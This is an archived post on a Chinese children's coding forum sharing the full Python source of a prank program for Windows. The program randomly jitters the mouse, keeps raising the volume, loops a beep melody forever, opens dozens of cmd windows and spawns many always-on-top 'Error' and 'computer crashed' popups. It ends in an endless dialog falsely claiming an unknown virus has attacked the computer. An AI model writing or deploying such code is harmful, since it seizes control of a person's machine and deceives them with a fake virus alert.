猫史档案馆


【Python作品分享】新的作品(1)-副本

用户:一见双雕一见双雕查看:0 回复:0 评论:0 创建时间:2022-08-24T20:21:00


【作品展示】

center_image

 

【作品介绍】

……

 

【作品源代码】

import tkinter as tk
import tkinter.messagebox
from pynput import keyboard
import random
import os
import threading
import time
from winsound import Beep
from pynput.mouse import Button, Controller
mouse = Controller()
keyboardController = keyboard.Controller()
def po():
    while True:
        mouse.move(random.randint(-10, 10), random.randint(-10, 10))
        time.sleep(0.01)
        keyboardController.press(keyboard.Key.media_volume_up)


def sound():
    Beep(880, 250)
    Beep(988, 250)
    Beep(523*2, 600)
    Beep(988, 300)
    Beep(523*2, 600)
    Beep(659*2, 600)
    Beep(988, 1000)
    Beep(659, 250)
    Beep(659, 250)
    Beep(880, 600)
    Beep(784, 300)
    Beep(880, 600)
    Beep(523*2, 600)
    Beep(784, 1000)
    Beep(659, 600)
    Beep(698, 800)
    Beep(659, 300)
    Beep(698, 600)
    Beep(523*2, 600)
    Beep(659, 980)
    Beep(523*2, 250)
    Beep(523*2, 250)
    Beep(523*2, 250)
    Beep(988, 600)
    Beep(739, 300)
    Beep(739, 600)
    Beep(988, 600)
    Beep(988, 1000)
    Beep(880, 250)
    Beep(988, 250)
    Beep(523*2, 600)
    Beep(988, 300)
    Beep(523*2, 600)
    Beep(659*2, 600)
    Beep(988, 1000)
    Beep(659, 250)
    Beep(659, 250)
    Beep(880, 600)
    Beep(784, 300)
    Beep(880, 600)
    Beep(523*2, 600)
    Beep(784, 1000)
    Beep(659, 600)
    Beep(698, 800)
    Beep(659, 300)
    Beep(698, 600)
    Beep(523*2, 600)
    Beep(659, 980)
    Beep(523*2, 250)
    Beep(523*2, 250)
    Beep(523*2, 250)
    Beep(988, 600)
    Beep(739, 300)
    Beep(739, 600)
    Beep(988, 600)
    Beep(988, 1000)
    #天空之城


def autoBeep():
    while True:
        print(66)
        sound()


def dow(p):
    window = tk.Tk()
    width = window.winfo_screenwidth()-200
    height = window.winfo_screenheight()-75
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.attributes("-toolwindow", True)
    window.attributes("-topmost", True)
    window.overrideredirect(True)
    window.attributes("-alpha", 0.7)
    window.title('')
    window.geometry("200x50"+"+"+str(a)+"+"+str(b))
    tk.Label(window,
            text='Error',    # 标签的文字
            bg=random.choice(['Red', 'yellow', 'blue', 'Cyan',
                            'Magenta', 'Green']),     # 背景颜色
            font=('黑体', 17),     # 字体和字体大小
            width=15, height=2,  # 标签长宽
            fg="fireBrick"
            ).pack()    # 固定窗口位置
    window.mainloop()


def tdow(p):
    window = tk.Tk()
    width = window.winfo_screenwidth()-200
    height = window.winfo_screenheight()-75
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.attributes("-toolwindow", True)
    window.attributes("-topmost", True)
    window.title('error')
    window.geometry("200x50"+"+"+str(a)+"+"+str(b))
    tk.Label(window,
            text='电脑已驾崩',    # 标签的文字
            bg='fireBrick',     # 背景颜色
            font=('宋体', 17),     # 字体和字体大小
            width=15, height=2,  # 标签长宽
            fg="GhostWhite"
            ).pack()    # 固定窗口位置
    window.mainloop()


tss = threading.Thread(target=po)
ty = threading.Thread(target=autoBeep)
ty.start()
tss.start()
threadss = []
for i in range(random.randint(25, 100)):  # 需要的弹窗数量
    os.system('start')  # 用命令打开cmd窗口,制造喵扰弹窗
for i in range(random.randint(25, 35)):  # 需要的弹框数量
    t = threading.Thread(target=lambda: tdow(i))
    threadss.append(t)
    time.sleep(random.randint(1, 25)/100)
    threadss[i].start()
threads = []
for i in range(random.randint(25, 35)):  # 需要的弹框数量
    t = threading.Thread(target=lambda: dow(i))
    threads.append(t)
    time.sleep(random.randint(1, 25)/100)
    threads[i].start()

while True:
    tkinter.messagebox.showerror(title='错误', message='电脑被被不明病毒攻击,正在尝试维修······')

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 0下一页